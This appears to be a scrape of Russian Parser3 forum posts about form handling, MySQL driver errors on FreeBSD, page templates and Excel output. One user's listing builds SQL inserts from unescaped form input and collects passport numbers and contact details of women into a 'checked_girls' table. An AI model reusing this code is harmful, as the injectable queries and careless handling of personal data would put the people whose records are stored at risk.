Last Name:<input type=\"text\" name=\"last_name\" size=\"15\" maxlength=\"20\" value=\"$news.last_name\"><br>\
Date of Birth: <input type=\"text\" name=\"date\" size=\"15\" maxlength=\"20\" value=\"$news.date\"><br>\
Zodiac:<input type=\"text\" name=\"zodiac\" size=\"12\" maxlength=\"12\" value=\"$news.zodiac\"><br>\
Passport:<input type=\"text\" name=\"passport\" size=\"8\" maxlength=\"8\" value=\"$news.passport\"><br>\
Height (cm):  <input type=\"text\" name=\"height\" size=\"3\" maxlength=\"3\" value=\"$news.height\">\
Weight (kg): <input type=\"text\" name=\"weight\" size=\"3\" maxlength=\"3\" value=\"$news.weight\">\
Hair color:<input type=\"text\" name=\"hair\" size=\"20\" maxlength=\"25\"><br>\
Eyes color:<input type=\"text\" name=\"eyes\" size=\"20\" maxlength=\"25\"><br>\
Languages:<input type=\"text\" name=\"languages\" size=\"30\" maxlength=\"100\"><br>\
Marital status: <SELECT NAME=\"marital_status\" SIZE=\"1\">\
	<option value=\"single\"> не была замужем\
	<option value=\"divorced\"> разведена\
	<option value=\"widow\"> вдова\
	</SELECT><br>\
Children: <SELECT NAME=\"children\" SIZE=\"1\">\
	<option value=\"none\"> нет\
	<option value=\"yes\"> да\
	</SELECT><br>\
Education:<input type=\"text\" name=\"education\" size=\"30\" maxlength=\"100\"><br>\
Major:<input type=\"text\" name=\"major\" size=\"30\" maxlength=\"50\"><br> \
Smoker:<SELECT NAME=\"smoker\" SIZE=\"1\">\
	<option value=\"yes\"> да\
	<option value=\"no\"> нет\
	<option value=\"occasional\"> иногда\
	<option value=\"very little\"> очень мало\
	</SELECT><br> \
Drinker: <SELECT NAME=\"drinker\" SIZE=\"1\">\
	<option value=\"yes\"> да\
	<option value=\"no\"> нет\
	<option value=\"social\"> по праздникам\
	</SELECT><br> \
Religion: <input type=\"text\" name=\"religion\" size=\"15\" maxlength=\"15\" value=\"$news.religion\">\
About me: <textarea name=\"about_me\" rows=3 cols=60></textarea>\
Looking for: <textarea name=\"looking_for\" rows=3 cols=60></textarea>\
Address: <input type=\"text\" name=\"address\" size=\"50\" maxlength=\"150\"><br>\
Zip/Postal Code:<input type=\"text\" name=\"zip\" size=\"5\" maxlength=\"10\"><br> \
Street, house, apartment:<input type=\"text\" name=\"street_house_apartment\" size=\"40\" maxlength=\"100\"><br>\
Region (oblast):<input type=\"text\" name=\"region\" size=\"10\" maxlength=\"15\"><br>\
City: <input type=\"text\" name=\"city\" size=\"15\" maxlength=\"15\"><br>\
Country: <input type=\"text\" name=\"country\" size=\"15\" maxlength=\"20\"><br>\
Home Phone: <input type=\"text\" name=\"home_phone\" size=\"20\" maxlength=\"20\" value=\"$news.home_phone\"><br>\
Cell Phone: <input type=\"text\" name=\"cell_phone\" size=\"20\" maxlength=\"20\" value=\"$news.cell_phone\"><br>\
E-mail: <input type=\"text\" name=\"e_mail\" size=\"30\" maxlength=\"40\"><br>\
<input type=\"file\" name=\"photo\" value=\"/unchecked_photo/${news.photo_url}\">\
<p> \
<input type=\"submit\" value=\"Добавить анкету\" name=\"posted\">&nbsp;&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Отмена\"> \
</p> \
\
\
\
\
\
#начало обработки\
\
\
\
\
   ^if(def $form:year && def $form:month && def $form:date && def $form:first_name && def $form:last_name && def $form:zodiac && def $form:passport && def $form:height && def $form:weight && def $form:hair && def $form:eyes && def $form:languages && def $form:marital_status && def $form:children && def $form:education && def $form:major && def $form:zip && def $form:address && def $form:looking_for && def $form:about_me && def $form:street_house_apartment && def $form:region && def $form:city && def $form:country && def $form:home_phone && def $form:cell_phone && def $form:e_mail){ \
   ^if(def $form:photo){$photo_url[${form:first_name}_${form:last_name}.^file:justext[$form:photo.name]]}{$photo_url[none]}\
     ^connect[$connect_string]{\
      ^void:sql{insert into checked_girls \
         (first_name, last_name, date, zodiac, passport, height, weight, hair, eyes, languages, marital_status, children, \
education, major, smoker, drinker, religion, about_me, looking_for, address, zip, street_house_apartment, \
region, city, country, home_phone, cell_phone, e_mail) \
      values  \
         ('$form:first_name', '$form:last_name', '${form:year}-${form:month}-${form:date}', '$form:zodiac', '$form:passport', '$form:height', '$form:weight', '$form:hair', '$form:eyes', '$form:languages', '$form:marital_status', '$form:children',\
 '$form:education', '$form:major', '$form:smoker', '$form:drinker', '$form:religion',\
 '$form:about_me', '$form:looking_for', '$form:address', '$form:zip', '$form:street_house_apartment',\
 '$form:region', '$form:city', '$form:country', '$form:home_phone', '$form:cell_phone', '$form:e_mail') \
$result(^int:sql{SELECT DISTINCT last_insert_id() FROM checked_girls}[$.default{0}])\
^void:sql{insert into checked_girls \
         (photo_url)\
	values \
	('/checked_photo/${result}')    \
^void:sql{delete from checked_girls \
         where id = \"$news.id\"}	 \
	^form:photo.save[binary;/checked_photo/${result}]\
	} }\
      …анкета добавлена\
      } \
}{ \
   …пожалуйста, заполните все поля формы\
} \
\
</center> \
\
}\
\
</tr>\
 \
</table> \
Заранее огромное спасибо, думал всю ночь...."
"26091","для этого существуют [url=/docs/lang/exprops.htm]специальные операторы[/url]\
\
так сложно открыть страничку доки и попробовать то, что вдруг не ясно из описания, например: \"Целочисленное деление\", \"Остаток от деления\"\
\
$char(45)\
$res( $char \\ 10 )\
$ost( $char % 10 )"
"26092","Misha v.3 – большое спасибо.\
Наверно это действительно ужас...\
Я видел эти операторы, но не очень\
понимал из доки - где конкретно их ставить, т.е.\
можно и так подумать $ost( $char/10% ) и так\
$res( $char\\10% ), чтоб найти остаток.\
\
P.S. Поленился я, мог бы и подобрать конечно."
"26093","если Вы отправляли на коротансобакаяндексточкару, то с ним проблемы.Пошлите ещё раз архив, если Вам не трудно, на numbus2000@yandex.ru"
"26094","Подскажите, люди, я не совсем понял, под BSDI OS 4.2 надо самому компилировать исходники, да?"
"26095","1. При нажатии \"Добавить анкету\" ничего не происходит\
2. Правильно ли использовал функцию last_insert_id()\
3. Почему не удаляется предоставленная информация\
Листинг (извините за громоздкость):\
#@greeting[] \
Администрирование\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
<tr bgcolor=\"#FFFF99\">\
# <td width=\"10%\" align=\"left\" bgcolor=\"#A2D0F2\"> \
# @body_main[] \
# <b><h1>All list of girl! </h1></b>\
# </td>\
# ЛЕВАЯ СТОРОНА\
<td width=\"45%\" align=\"left\" bgcolor=\"#A2D0F2\"> \
<b><h1>Предоставленная информация</h1></b>\
^connect[$connect_string]{ \
$news[^table::sql{select* \
from \
unchecked_girls \
order by rand() limit 1\
}] \
^if($news){ \
^news.menu{ \
^if($news.photo_url ne none){\
Foto:<img src=\"/unchecked_photo/${news.photo_url}\" VSPACE=10 HSPACE=10ALIGN=left border=0 height=300>}\
ID:$news.id\
First Name: $news.first_name<br> \
Last Name: $news.last_name<br>\
Date of bith:$news.date<br>\
Zodiac:$news.zodiac<br>\
Passport:$news.passport<br>\
Height (cm):$news.height<br>\
Weight (cm): $news.weight<br>\
Hair color:$news.hair<br>\
Eyes color:$news.eyes<br>\
Languages:$news.languages<br>\
Marital status:$news.marital_status<br>\
Children:$news.children<br>\
Education:$news.education<br>\
Major:$news.major<br>\
Smoker:$news.smoker<br>\
Drinker:$news.drinker<br>\
Religion:$news.religion<br>\
About me:$news.about_me<br>\
Looking for:$news.looking_for<br>\
Address:$news.address<br>\
Zip/Postal Code:$news.zip<br>\
Street, house, apartment:$news.street_house_apartment<br>\
Region (oblast):$news.region<br>\
City:$news.city<br>\
Country:$news.country<br>\
Home Phone:$news.home_phone<br>\
Cell Phone:$news.cell_phone<br>\
E-mail:$news.e_mail<br>\
<br> \
}[<br>] \
}{ \
Нет анкет...\
} \
} \
</td>\
################\
#ПРАВАЯ СТОРОНА#\
################\
<td width=\"45%\" align=\"left\" bgcolor=\"#A2D0F2\">\
<form method=\"POST\" enctype=\"multipart/form-data\">\
<br>\
First Name:<input type=\"text\" name=\"first_name\" size=\"10\" maxlength=\"15\" value=\"$news.first_name\"><br>\
Last Name:<input type=\"text\" name=\"last_name\" size=\"15\" maxlength=\"20\" value=\"$news.last_name\"><br>\
Date of Birth: <input type=\"text\" name=\"date\" size=\"15\" maxlength=\"20\" value=\"$news.date\"><br>\
Zodiac:<input type=\"text\" name=\"zodiac\" size=\"12\" maxlength=\"12\" value=\"$news.zodiac\"><br>\
Passport:<input type=\"text\" name=\"passport\" size=\"8\" maxlength=\"8\" value=\"$news.passport\"><br>\
Height (cm): <input type=\"text\" name=\"height\" size=\"3\" maxlength=\"3\" value=\"$news.height\">\
Weight (kg): <input type=\"text\" name=\"weight\" size=\"3\" maxlength=\"3\" value=\"$news.weight\">\
Hair color:<input type=\"text\" name=\"hair\" size=\"20\" maxlength=\"25\"><br>\
Eyes color:<input type=\"text\" name=\"eyes\" size=\"20\" maxlength=\"25\"><br>\
Languages:<input type=\"text\" name=\"languages\" size=\"30\" maxlength=\"100\"><br>\
Marital status: <SELECT NAME=\"marital_status\" SIZE=\"1\">\
<option value=\"single\"> не была замужем\
<option value=\"divorced\"> разведена\
<option value=\"widow\"> вдова\
</SELECT><br>\
Children: <SELECT NAME=\"children\" SIZE=\"1\">\
<option value=\"none\"> нет\
<option value=\"yes\"> да\
</SELECT><br>\
Education:<input type=\"text\" name=\"education\" size=\"30\" maxlength=\"100\"><br>\
Major:<input type=\"text\" name=\"major\" size=\"30\" maxlength=\"50\"><br> \
Smoker:<SELECT NAME=\"smoker\" SIZE=\"1\">\
<option value=\"yes\"> да\
<option value=\"no\"> нет\
<option value=\"occasional\"> иногда\
<option value=\"very little\"> очень мало\
</SELECT><br> \
Drinker: <SELECT NAME=\"drinker\" SIZE=\"1\">\
<option value=\"yes\"> да\
<option value=\"no\"> нет\
<option value=\"social\"> по праздникам\
</SELECT><br> \
Religion: <input type=\"text\" name=\"religion\" size=\"15\" maxlength=\"15\" value=\"$news.religion\">\
About me: <textarea name=\"about_me\" rows=3 cols=60></textarea>\
Looking for: <textarea name=\"looking_for\" rows=3 cols=60></textarea>\
Address: <input type=\"text\" name=\"address\" size=\"50\" maxlength=\"150\"><br>\
Zip/Postal Code:<input type=\"text\" name=\"zip\" size=\"5\" maxlength=\"10\"><br> \
Street, house, apartment:<input type=\"text\" name=\"street_house_apartment\" size=\"40\" maxlength=\"100\"><br>\
Region (oblast):<input type=\"text\" name=\"region\" size=\"10\" maxlength=\"15\"><br>\
City: <input type=\"text\" name=\"city\" size=\"15\" maxlength=\"15\"><br>\
Country: <input type=\"text\" name=\"country\" size=\"15\" maxlength=\"20\"><br>\
Home Phone: <input type=\"text\" name=\"home_phone\" size=\"20\" maxlength=\"20\" value=\"$news.home_phone\"><br>\
Cell Phone: <input type=\"text\" name=\"cell_phone\" size=\"20\" maxlength=\"20\" value=\"$news.cell_phone\"><br>\
E-mail: <input type=\"text\" name=\"e_mail\" size=\"30\" maxlength=\"40\"><br>\
<input type=\"file\" name=\"photo\" value=\"/unchecked_photo/${news.photo_url}\">\
<p> \
<input type=\"submit\" value=\"Добавить анкету\" name=\"posted\">&nbsp;&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Отмена\"> \
</p> \
#начало обработки\
^if(def $form:year && def $form:month && def $form:date && def $form:first_name && def $form:last_name && def $form:zodiac && def $form:passport && def $form:height && def $form:weight && def $form:hair && def $form:eyes && def $form:languages && def $form:marital_status && def $form:children && def $form:education && def $form:major && def $form:zip && def $form:address && def $form:looking_for && def $form:about_me && def $form:street_house_apartment && def $form:region && def $form:city && def $form:country && def $form:home_phone && def $form:cell_phone && def $form:e_mail){ \
^if(def $form:photo){$photo_url[${form:first_name}_${form:last_name}.^file:justext[$form:photo.name]]}{$photo_url[none]}\
^connect[$connect_string]{\
^void:sql{insert into checked_girls \
(first_name, last_name, date, zodiac, passport, height, weight, hair, eyes, languages, marital_status, children, \
education, major, smoker, drinker, religion, about_me, looking_for, address, zip, street_house_apartment, \
region, city, country, home_phone, cell_phone, e_mail) \
values \
('$form:first_name', '$form:last_name', '${form:year}-${form:month}-${form:date}', '$form:zodiac', '$form:passport', '$form:height', '$form:weight', '$form:hair', '$form:eyes', '$form:languages', '$form:marital_status', '$form:children',\
'$form:education', '$form:major', '$form:smoker', '$form:drinker', '$form:religion',\
'$form:about_me', '$form:looking_for', '$form:address', '$form:zip', '$form:street_house_apartment',\
'$form:region', '$form:city', '$form:country', '$form:home_phone', '$form:cell_phone', '$form:e_mail') \
$result(^int:sql{SELECT DISTINCT last_insert_id() FROM checked_girls}[$.default{0}])\
^void:sql{insert into checked_girls \
(photo_url)\
values \
('/checked_photo/${result}') \
^void:sql{delete from checked_girls \
where id = \"$news.id\"} \
^form:photo.save[binary;/checked_photo/${result}]\
} }\
…анкета добавлена\
} \
}{ \
…пожалуйста, заполните все поля формы\
} \
</center> \
}\
</tr>\
</table> \
Заранее огромное спасибо, думал всю ночь...."
"26097","Честно пытался разобраться.\
Сразу бросилось в глаза:\
    1) SELECT * ...\
    2) Два ^connect'а на страницу\
Разбираться сразу расхотелось :)\
\
Потом посмотрел немножко внимательнее и увидел незакрытую скобку у ^void:sql...\
\
Совет: Попытайтесь немножко структурировать свой код и исправить синтаксические ошибки. И ещё неплохо было бы ознакомиться с разделами faq и примеры."
"26098","1. Почему нельзя использовать  SELECT * ..., если я дествительно выбираю все столбцы и с этим проблем нет.\
2. Два  ^connect'а потому, что выбираю информацию из разных баз данных, разве так нельзя...?"
"26099","Насчёт разных баз - не сообразил сразу, сорры..."
"26101","Пример брал именно отсюда. Собственные классы решил не делать, пусть пока так заработает, потом подправлю... Хотел узнать, правильно ли использую именно в этом случае... Пробовал комментировать даже строку\
$result(^int:sql{SELECT DISTINCT last_insert_id() FROM checked_girls}[$.default{0}])\
^void:sql{insert into checked_girls \
         (photo_url)\
	values \
	('/checked_photo/${result}')}    \
^void:sql{delete from unchecked_girls \
         where id = \"$news.id\"}	 \
#^form:photo.save[binary;/checked_photo/${result}]\
\
Все равно не реагирует на submit...\
Со скобками уже проверял с десяток раз-эффекта ноль...\
Именно поэтому и прошу помощи матерых парсероведов...замучался уже..."
"26102","Насколько мне известно, производитель BSD/OS, компания Wind River, [url=\"http://www.bsdnewsletter.com/2003/09/News105.html\"]прекращает её (BSD/OS) поддержку в ближайшее время[/url]."
"26103","Доброго времени суток! \
\
Хочу сказать спасибо создателем парсера. Я точно не знаю, почему и для чего я выбрал парсер. Просто хотелось разобратся в чем-то новом, начал разбираться, понравилось. \
\
Возникла следующая проблемка: необходимо найти файл в каталоге и всех его подкаталогах.  Насколько я понял из документации, метод find класса file ищет файл в каталоге, который ему указан и в каталогах более высокого уровня.. А мне надо наоборот. Не хочется думать и изобретать велосипед. Может можно как-то проще? Может я что не дочитал? \
\
Да, и как в парсере с рекурсией?"
"26104","Хочу написать небольшой ХотЛог, ну или что-то очень приближенное по смыслу (но с возможностями, которых не хватает лично мне), для нескольких десятков, ну может сотни сайтов (в отдаленной перспективе :)\
\
В день будет около 1000(среднее количество посещений с запасом)*20(ориентировочно сайтов) посещений, в среднем ...\
То есть вроде как, если в дне 1440 минут, то моя не пиковая расчетная нагрузка получается в 14 запросов в минуту!\
\
Подобные системы реализованы на ПХП, на нормальном сервере, нагрузку выдерживают.\
\
Вот думаю, насколько я буду не прав, если [b]пока что[/b] реализую сам счетчик на Парсере?\
\
[i]PS:\
Потом если дело пойдет, то думаю, что можно переписать счетчик на Си, только интерфейс к статистике оставить на Парсере. К тому же половина успеха в данной задаче -- быстрая БД, как идейно, так и технически (пока что на MySQL).\
\
Генерации картинок мне пока не надо. При посещении производится 2-3 быстрых SQL запроса.[/i]"
"26105","[i]что-то где-то как-то отреагирует на какой-то сабмит, если при этом будут переданы какие-то данные какому-то обработчику, который их должен как-то чем-то обработать, потом какой-то результат работы этого какого-то обработчика можно для разнообразия как-то где-то показать, отразить[/i]\
\
[b]Мораль.[/b]\
Проверьте, нет ли в вашем случае, в этой цепочке заместо \"что-то\", \"как-то\" или \"где-то\" синонима слова \"нигде\", \"ничем\" или \"никак\"."
"26108","Сделал шаблон в auto.p, каждая страница отображается, все вызывается, страницы формируются. линки работают. НО:\
не могу вызвать текст из открываемого html файла.\
в авто.п вызыываю так: ^body_main[]\
в каждом файле содержание задается так:\
@body_main[]\
ТЕКСТ\
ответ системы: \
j:/home/rusbbq2.ru/www/index.html(8:1): parse error, \
expecting `$' exception.type=parser.compile\
\
структура каталогов:\
/index.html\
/auto.p\
/.htaccess\
/mission/mission.html\
\
и много другого в таком же духе\
принципиально :) хочу описывать сайт в Одном-корневом auto.p\
\
Установленн: Парсер на Денвере2.\
\
прошу прощение за столь Faqовый вопрос. но по Мануалу тоже не работает.\
подскажите что упустил."
"26109","FreeBSD 5.2 Production:\
Apache 1.3.29 (из port'ов)\
MySQL 3.23.58 (port'ов)\
\
Установил parser3.cgi вер.1.1. для FeeBSD 4.8R:\
- расположил в /www/mysite/htdocs/parser3;\
- настроил .htaccess;\
- там же auto.p (где подкорректировал путь к libmysqlclient.so и $request/$response charset'ы);\
- как подкаталоги расположил в этом каталоге charsets и libж\
- в lib положил соответствующий libparser3mysql.so;\
- DocumentRoot в VirtualHost указывает на /www/mysite;\
- сделал '#chown -R nogroup /www/mysite/htdocs';\
- Apache User nobody uid=64534.\
\
Все Уроки 1-3 работают. Урок 4 с доступом к MYSQL - НИКАК: 500 Internal Server error. В моем error_log Apach'а записи о причине:\
\
/www/usms.liraonline/htdocs/parser3/parser3.cgi\
/usr/libexec/ld-elf.so.1: /usr/local/lib/mysql/libmysqlclient.so: Undefined symbol \"stpcpy\"\
[Sun Feb  8 15:54:57 2004] [error] [client 195.64.255.173] Premature end of script headers: /www/usms.liraonline/htdocs/parser3/parser3.cgi\
\
Делаю \
#nm /usr/local/lib/mysql/libmysqlclient.so | grep stpcpy\
	U stpcpy\
'U'- значит 'Undefined'\
Нашел, где он определен: в /usr/obj/usr/src/i386/lib/libc.so.5 (/usr/obj - остатки перепостроения ядра, он не совпадает с /lib/libc.so.5), а также  /lib/libc.a. Аккуратная(!) подмена libc.so.5 (на нее ссылка libc.so) с определенным stpcpy положительного результата не дала. Из perl cgi скрипта сама база открывается, читается и изменяется.\
\
Перекомпилировал вручную из исходников на своей иашине libparser3mysql.so и скопировал его поверх первоначального в каталоге lib сайта: ловится исключение-ошибка настроек в parser3'е с пояснением из parser3.log'а (/www линк на /usr/home/www): \
\
[Sun Feb  8 16:36:24 2004] /admin/: /www/mysite/htdocs/admin/index.html(28:4): '/usr/home/www/mysite/htdocs/parser3/lib/libparser3mysql.so' can't open the module [<no type>]\
\
#ls /usr/home/www/mysite/htdocs/parser3/lib\
libparser3mysql.so\
\
Почему не видит (прав то хватает!). Перестроил parser3 (cvs версия, пришлось повозится). Установил его с --prefix=/usr/local. Из /usr/local/bin/parser3 скопировал с переименованием и изменением прав на файл на место parser3.cgi, но без результата: те же ошибки!!!\
\
Apache 2.0.48, MySQL версий 4 результатов не дал.\
\
ЗНАЧИЛ ЛИ ЭТО, ЧТО МНЕ СЛЕДУЕТ СДЕЛАТЬ ВЫВОД: на FREEBSD 5.2 запустить работу с БД MySql из parser3 пока что невозможно стандартным образом и нужно ждать соответствующую версию парсера?\
\
Или, быть может, есть другие варианты, где \"копаться\"?"
"26110",":|"
"26111","Извините, это относится к предыдущему сообщению 'MySQL, tedim [08.02 18:00]': запутался я с интерфейсом Форума, сначала не мог найти как задать вопрос, сейчас - как ответить с уточнением синтаксических ошибок в предыдущем вопросе, сорри."
"26112","Памагите!"
"26113","у тебя есть\
[code]@body_main[]\
ТЕКСТ[/code]\
\
и\
[b]\
ответ системы: \
j:/home/rusbbq2.ru/www/index.html(8:1): parse error, \
expecting `$' exception.type=parser.compile[/b]\
\
(в Парсере это называется Unhandled Exception :)\
\
Так, вот покажи, что у тебя там за ТЕКСТ ...\
\
Чаще всего новички забывают, что на Парсере [i]&nbsp; = &nbsp^;[/i], либо скобки забудут и все в таком духе .."
"26114","полное содержание файла Index.html\
<html><body>\
^base[] \
@body_main[]\
<SPAN class=\"main\">\
TEXT Из Индекса.\
</span></body></html>\
при этом тексте выдается Ошибка:\
Unhandled Exception (Debug)\
j:/home/rusbbq2.ru/www/index.html(2:9): parse error, \
expecting `$' exception.type=parser.compile \
\
никаких Других символов нет, вот кусок кода auto.p\
\
</td><td valign=\"top\" height=\"100%\">\
<blockquote>\
^body_main[]\
</blockquote>\
<tr><td colspan=\"2\" align=\"top\">\
\
все как в Документации. если поместить @body_main[]\
в auto.p - то работает, а вот из Html не вызывается."
"26115","Листинг index.html :\
[code]\
@body_main[]\
\
<html><body>\
^base[] \
\
<SPAN class=\"main\">\
TEXT Из Индекса.\
</span></body></html>\
[/code]"
"26116","Unhandled Exception (Debug)\
call canceled - endless recursion detected base\
\
j:/home/rusbbq2.ru/www/index.html(4)\
exception.type=parser.runtime\
\
после этого толпа ошибок типа таких:\
body_main j:/home/rusbbq2.ru/www/auto.p(35)\
datatable j:/home/rusbbq2.ru/www/auto.p(18)\
base j:/home/rusbbq2.ru/www/index.html(4)\
\
содержание:\
34 <blockquote>\
35 ^body_main[]\
36 </blockquote>\
\
18 ^datatable[] - вызов таблицы внутри которой живет ^body_main[]\
\
Index:\
по вашему совету."
"26118","не могу я найти Ошибку... весь шаблон и сайт сделал за 2 часа... а данные вставить не могу. ВТОРОЙ ДЕНЬ. памагите Пожалста!"
"26119","Ребята, а из Вас всех никто, ничего, кроме философии и критики чужого кода толкового подсказать не может... Если Вы видите ошибку, то подскажите... Как я понимаю форум не для  философии...Вы вообще \"лирики\" или все же \"физики\"????\
 "
"26120","Получаю ошибку\
[Sun Feb  8 22:25:54 2004] /engine/write.html: /hsphere/engine/write.html(16:38): '11@111.ee' invalid number (double) [number.format] \
\
Создана таблица: \
\
create table if not exists auser_more\
(\
   name                           VARCHAR(255),\
   mobile                         VARCHAR(127)                   not null,\
   tlf                            VARCHAR(127)                   not null,\
   tlf_evening                    VARCHAR(127)                   not null,\
   adres                          TEXT,\
   icq                            INT(10)                        not null,\
   email                          VARCHAR(127)                   not null,\
   map                            VARCHAR(255)                   not null,\
   www                            VARCHAR(255)                   not null,\
   realname                       VARCHAR(255)                   not null,\
   agent                          TINYINT(4)                     not null default 0,\
   unique (name)\
);\
\
Передаю мейл и другие поля из файла write.html так:\
\
^MAIN:pSQL.server{\
\
	^ifdef($form:realname){\
\
		$auth_data[^auth::init[;;$.csql[$MAIN:pSQL]]]\
\
\
		^MAIN:pSQL.sql[void]{   INSERT INTO auser_more (  name, mobile, tlf, tlf_evening, adres, icq, email, map, www, realname, agent ) VALUES (\
			$auth_data.user.name, \
			^ifdef($form:mobile){$form:mobile}{''}, \
			^ifdef($form:tlf){$form:tlf}{''},\
			^ifdef($form:tlf_evening){$form:tlf_evening}{''},\
			^ifdef($form:adres){$form:adres}{''},\
			^ifdef($form:icq){$form:icq}{''},\
			^ifdef($form:email){$form:email}{''},\
			^ifdef($form:map){$form:map}{''},\
			^ifdef($form:www){$form:www}{''},\
			$form:realname,\
			^ifdef($form:agent){$form:agent}{'0'}\
		)}\
\
}\
\
}\
 \
Где он берет, что данные - числа?"
"26121","Ну не знаю, что тут может быть... После переноса сайтов на новый сервер (Linux RedHat 7.3, Apache 2.0.48)\
Все работает, все грузится, не работают только *.css и не отображаются картинки (jpg, gif)\
В httpd.conf записано user nobody group nobody\
Файлы принадлежат nobody:nobody\
Права доступа на *.html и *.jpg 644\
Ошибки в лог на записываются, на экран не выводятся.\
В access-логе записывается код 200 при вызове таких файлов.\
Помогите, кто чем может!"
"26124","Вам, собственно говоря, в данной задаче вообще ^if(def ){} не нужны."
"26126","В других местах такие ифдефы рабоатют корректно. \
Да, убрал вообще их, оставил голые переменные - все равно выдается unvalid number (double). \
Если во все поля ввожу цифры - то все исполняется, запись записывается..."
"26128","вы видите разницу в конструкциях:\
[code]\
^if(1){...}{...}\
[/code]\
[code]\
^if(1==2){...}{...}\
[/code]\
[code]\
^if(хрен){...}{...}\
[/code]\
?\
\
можете попробовать их и посмотрите какая выдаст такую-же ошибку как у вас.\
\
кроме того, парсер сообщает номер строки, где произошла ошибка, и если бы вы взглянули на эту строку внимательно то поняли где именно нужно искать ошибку."
"26130","Думается мне так:\
если ошибка логическая, то правильно философствуют отвечающие - додумаешься - поймешь, исправишь код сам. \
если же ошибка в коде (типа скобки не те, или нельзя так юзать какой метод), то, согласен, лучше б кто правильного коду написал в ответ...."
"26131","другой вопрос что вы будете делать если файл который вы ищете найдется раньше, или не в той ветке, в которой вы предполагали.\
\
http://www.parser.ru/forum/?id=25757"
"26132","Уважаемые участники форума,\
\
есть ли у кого-либо возможность собрать сабж?\
Я бы сам собрал, но в Linux не разбираюсь совсем, а последний раз компилировал ещё на Турбо Паскале.\
Мой хостинг использует старую версию GLIBC -- следовательно подключить её динамически - не есть возможно.\
Мне нужна CGI-Версия с поддержкой XML и MySQL. Возможность принимать мэйл тоже будет очень кстати.\
\
Будет здорово, если кто-то сможет прислать мне бинарник на amatveev@molotov-club.de\
\
Спасибо!\
С уважением,\
\
Molotoff"
"26133","если хорошего решения не найдёте, всегда есть плохое:\
зайдите в parser3.C и добавьте такое:\
\
[code]\
extern \"C\" void stpcpy();\
int main(...\
{\
void *x()=stpcpy;\
[/code]"
"26135","у вас, как я заметил, неточно стоит DocumentRoot"
"26136","вопрос уже обсуждался.\
\
и поменьше эмоций, побольше внимания к документации."
"26137","Как можно с помощью Парсера сгенерировать Excel документ?"
"26138","...это я в message ошибся, но не в конфигурационном файле для Арача."
"26139","...с тем же результатом."
"26140","1. Сделать HTML-таблицу с правильным CSS, которые Excel любит и с хрустом кушает\
2. Сгенерировать средствами парсера RTF-файл - эксель их тоже любит\
3. ... или csv/dat файл...  \
4. Вызвать внешний скрипт (перловых модулей для генерации XML - море, см. search.cpan.org)"
"26141","и content-type:application/vnd.ms-excel\
\
excel открывает такое на раз.\
причём сразу в браузере."
"26142","Тупой вопрос, когда у нас элемент документа идет с определением namespaces вроде того\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<!DOCTYPE site_page SYSTEM \"http://localhost/xsl/dtd/entities.dtd\">\
<document\
	colorsheme=\"1\"\
	id=\"5\"\
	server=\"egoroff\"\
	xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\
	xmlns:w=\"http://schemas.microsoft.com/office/word/2003/wordml\"\
	xmlns:v=\"urn:schemas-microsoft-com:vml\"\
	xmlns:w10=\"urn:schemas-microsoft-com:office:word\"\
	xmlns:sl=\"http://schemas.microsoft.com/schemaLibrary/2003/core\"\
	xmlns:aml=\"http://schemas.microsoft.com/aml/2001/core\"\
	xmlns:wx=\"http://schemas.microsoft.com/office/word/2003/auxHint\"\
	xmlns:o=\"urn:schemas-microsoft-com:office:office\"\
	xmlns:dt=\"uuid:C2F41010-65B3-11d1-A29F-00AA00C14882\"\
>\
...\
</document>\
[/code]\
стучится ли парсер по указанным в xmlns URI?"
"26143","extern \"C\" void stpcpy() не проходит, так как в системной string.h определена.\
\
В main вставил\
char* (*nothing)(char*, const char^*) = stpcpy;\
\
Пересобрал - нет результата с сообщением (как и раньше, когда я пересобирал на своей машине):\
....'libparser3mysql.so' can not open the module, can't open the module [<no type>]\
\
Выходит, parser не может запустить драйвер из файла: либо не находит (но путь в сообщении правильный!), либо не знает, как загрузить(?) его! До Undefinite symbol stpcpy после пересборки просто не доходит дело.\
\
Я вот о чем думаю.\
1. Я установил и пересобрал исходники Парсера по cvs'у. Но исходники драйвера взял в tar.gz формате и потом собирал. Если я не прав, то скажите...\
\
2. Для сборки парсера я установил Boehm gc collection garbage из портов, где используются опции --disable-threads --enable-cplusplus, вместо требуемых --disable-threads --silent . Это кажется маловероятной причиной, ну а вдруг?\
\
3. parser3.cgi после сборки неизменно выходит большим, нежели из tar.gz с сайта (в 4-5 раз). Непонятно, почему.\
\
И все же, что означает двойное \"can't open the module\" точно."
"26144","Так что ли:\
[code]\
$f[^file::load[text;/one.cfg]]\
\
^f.save[text;/old_conf.xls]\
[/code]\
А  [b]content-type:application/vnd.ms-excel[/b] где пишется?"
"26145","Кто использует парсер на IIS 6.0?\
Интересно было бы узнать, какие баги в [i]данный[/i] момент вы наблюдаете.\
\
Что используете - cgi или isapi версию?\
Сейчас буду сам тестировать."
"26146","эти URI не более чем абстракция.\
\
то, что по ним иногда вешается некий текст со ссылкой в документацию, не более, чем добрая воля соответствующих организаций."
"26147","$response:content-type[]"
"26148","в первом вашем сообщении было видно, что parser загрузил libparser3mysql.so и уже libparser3mysql.so и не смог загрузить libmysqlclient.so\
\
сейчас же parser не может загрузить даже libparser3mysql.so, который раньше загружался без проблем. и до загрузки libmysqclient.so дело сейчас уже не доходит.\
значит что-то изменилось к худшему, и что-то простое —\
для начала скажите ldd на libparser3mysql.so исходный и ваш.\
\
\
про пункты:\
1. если берёте из head что-то, надо брать всё.\
api последний раз изменился.\
[но сообщение об ошибке вы должны были получить совсем другое: \"версия api не совпала\"]\
2. совершенно несущественно\
3. man strip\
\
что означает двойное \"can't open the module\": несущественно. кажется, первое вписано в моём коде, второе в коде libltdl."
"26149","если у вас другой веб-сервер, то в его настройках.\
\
я подумал, вы .xls файлик не записываете на диск.\
мне не кажется разумным его записывать."
"26150","Мною собранный и оригинальный говорят одно и то же на:\
# ldd libparser3mysql.so\
libparser3mysql.so:\
\
Но мною собранный на '#nm libparser3mysql.so' выдает список символов, а оригинальный говорит 'no symbols': #strip libparser3mysql.so уменьшил размер так, что драйвер стал в 2 раза меньше оригинального и без символов, это нормально, надеюсь...\
\
Кроме того, теперь если подставить оригинальный драйвер (с которым были проблемы с неопределенным stpcpy), то parser3 падает \"в корку\"...\
\
Может, версия gcc (во FreeBSD 5.x стала стандартной):\
